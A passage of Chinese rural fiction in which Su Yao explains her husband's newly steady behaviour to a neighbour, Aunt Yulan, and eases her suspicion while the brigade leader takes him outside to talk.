苏窈接过,说:“那婶子你等会,我去把这些倒了,一会把袋子和碗还你。” 玉兰婶子说:“不着急,你叔要和老四出去说一些话。” 大队长看向沈靳:“你和我出去说话。” 沈靳并不意外大队长会来找他,跟苏窈说了句“那我出去一会。”也就跟了出去。 玉兰婶子歪了歪脑袋,狐疑道:“也是怪了,人还是那个人,但怎觉得这老四瞧着好像稳重了些?” 苏窈听到这话,却是一点都不慌,应道:“能不稳重吗,都有儿子了,再不稳重起来,怎地给他儿子攒家底?” “再说前天摔沟里,听他说,他还以为自己要死了,一直求神拜佛,说要是能活下去,就一定做个踏踏实实的人。这两天瞧着是勤快了很多,不仅帮忙打水了,还弄了好些茅草回来说要修屋顶。” 玉兰婶子也听到说夏老四去挑水的事了,再仔细看,院子还真堆了很多的茅草。 苏窈说到后头,又忽然叹气道:“就希望他不是只勤奋个几天就打回原形了。” 玉兰婶子被忽悠得全然没了怀疑,反而拉着她的手拍了拍,安慰道:“看着他今天在老夏家虽然确实做得过了,但就和老夏家谈的条件,有一半是为了自己小家的,也算是有了个好的开头,你别太担心了。”